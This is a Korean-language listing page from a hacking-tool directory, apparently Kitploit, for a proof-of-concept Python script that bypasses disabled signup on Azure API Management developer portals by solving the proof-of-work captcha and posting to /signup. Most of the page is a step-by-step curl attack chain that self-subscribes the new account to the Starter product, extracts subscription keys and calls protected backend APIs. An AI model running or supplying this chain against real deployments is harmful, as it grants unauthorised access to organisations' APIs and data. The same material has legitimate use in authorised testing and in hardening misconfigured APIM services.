Skip to content
KitploitKITPLOIT
도구블로그
Log in
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
도구/GitHubGitHub/dz-y/azure-apim-dev-portal-signup-bypass
Authentication & AuthorizationCloud Infrastructure SecurityWeb Application ExploitationAPI Security TestingPenetration TestingCloud SecurityMisconfigurationAPI Security

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유
CAPTCHA Bypass
GitHubdz-y/azure-apim-dev-portal-signup-bypass

Azure-APIM-Dev-Portal-Signup-Bypass

UI가 비활성화된 Azure APIM 가입을 우회하는 Python 스크립트입니다. 이는 CVE-2025-66390과 달리 크로스 테넌트로 아무것도 설정할 필요가 없습니다.

저장소 보기
231개월 전아직 검토되지 않음

비활성화된 Azure API Management(APIM) 개발자 포털 가입을 백엔드 등록 API를 직접 호출하여 우회하는 개념 증명(PoC) 스크립트입니다.

동작 방식

Azure APIM 개발자 포털은 포털 UI를 통해 셀프 서비스 가입을 비활성화하도록 구성할 수 있습니다. 일부 배포에서는 UI 버튼이 숨겨지거나 제거된 경우에도 기본 API 엔드포인트(/signup)가 활성 상태로 유지되고 접근 가능합니다. 이 스크립트는 다음 방식으로 이 틈새를 악용합니다:

  1. /v2/captcha-challenge에서 작업 증명(PoW) 캡차 챌린지를 가져옵니다.
  2. SHA-256 PoW 솔루션을 클라이언트 측에서 브루트포싱합니다.
  3. 해결된 챌린지와 계정 세부 정보를 사용해 /signup으로 가입 요청을 직접 제출합니다.

모든 입력(대상 URL, 자격 증명, 프록시)은 런타임에 대화식으로 입력받습니다.

CVE-2025-66390과의 관계

CVE-2025-66390 (CVSS 9.8 Critical)은 크로스 테넌트 APIM 가입 우회를 설명합니다. 공격자는 가입이 활성화된 테넌트를 남용하여 API 요청의 Host 헤더를 조작함으로써 가입이 비활성화된 다른 테넌트에 계정을 등록합니다. Microsoft는 이를 제품 취약점이 아닌 구성 문제로 분류했습니다.

이 방법은 크로스 테넌트를 생성할 필요가 없습니다. 대신 /v2/captcha-challenge 엔드포인트를 사용하여 평균 75,000회의 반복 중에서 캡차를 해결합니다.

사용법

python3 apim_signup.py

대상 URL, 계정 세부 정보, 비밀번호(숨김 입력, 확인을 위해 다시 표시) 및 선택적 프록시를 입력받습니다.

가입 후 악용 체인

가입 요청이 성공하고 확인 이메일이 도착하면 전체 공격 체인은 다음과 같습니다:

1단계 — 이메일 확인

등록 이메일의 확인 링크를 클릭합니다. 이렇게 하면 관리 API가 인증하기 전에 계정이 활성화됩니다.

2단계 — 인증 및 사용자 ID 얻기

기본 인증(base64(email:password))을 사용하여 APIM 관리 API를 호출하면 내부 사용자 ID를 얻을 수 있습니다:

curl -s "https://<service>.management.azure-api.net/subscriptions/<sub>/resourceGroups/<rg>/providers/Microsoft.ApiManagement/service/<service>/identity?api-version=2019-12-01" \
  -H "Authorization: Basic <base64(email:password)>"
# → {"id":"<user-id>"}

반환된 id 필드는 이후의 모든 관리 API 호출에 사용됩니다.

또는 /developer/identity?api-version=2022-04-01-preview를 호출합니다. <-- 버전은 중요하지 않습니다. 로그인하라는 UI가 표시되며, 거기서도 사용자 ID를 얻을 수 있습니다.

이미지

3단계 — 제품에 자체 구독

기본 Starter 제품은 approvalRequired: false로 제공되므로 관리자 승인이 필요하지 않습니다. PUT으로 자체 구독합니다:

curl -s -X PUT "https://<service>.management.azure-api.net/subscriptions/<sub>/resourceGroups/<rg>/providers/Microsoft.ApiManagement/service/<service>/users/<user-id>/subscriptions/starter-sub?api-version=2019-12-01" \
  -H "Authorization: Basic <base64(email:password)>" \
  -H "Content-Type: application/json" \
  -d '{"properties":{"scope":"/products/starter","displayName":"Starter"}}'
# → HTTP 201 Created

[email protected]에서 확인 이메일("Your subscription to the Starter")이 도착합니다.

4단계 — 구독 키 가져오기

curl -s -X POST "https://<service>.management.azure-api.net/subscriptions/<sub>/resourceGroups/<rg>/providers/Microsoft.ApiManagement/service/<service>/users/<user-id>/subscriptions/starter-sub/listSecrets?api-version=2019-12-01" \
  -H "Authorization: Basic <base64(email:password)>"
# → {"primaryKey":"...","secondaryKey":"..."}

5단계 — 백엔드 API 호출

APIM 게이트웨이에 대해 기본 키를 Ocp-Apim-Subscription-Key로 사용하여 인증된 백엔드 호출을 수행합니다:

curl -s "https://<service>.azure-api.net/<api-path>" \
  -H "Ocp-Apim-Subscription-Key: <primaryKey>"

액세스 권한은 Starter 제품에 범위가 지정된 API에 따라 결정됩니다. 잘못 구성된 배포에서는 추가 인증 없이 내부 백엔드가 노출될 수 있습니다.


자세한 내용은 이 문서가 체인을 잘 설명하고 있습니다. 크로스 테넌트 부분만 제외하면 됩니다. https://www.praetorian.com/blog/azure-apim-signup-bypass/

도구 다운로드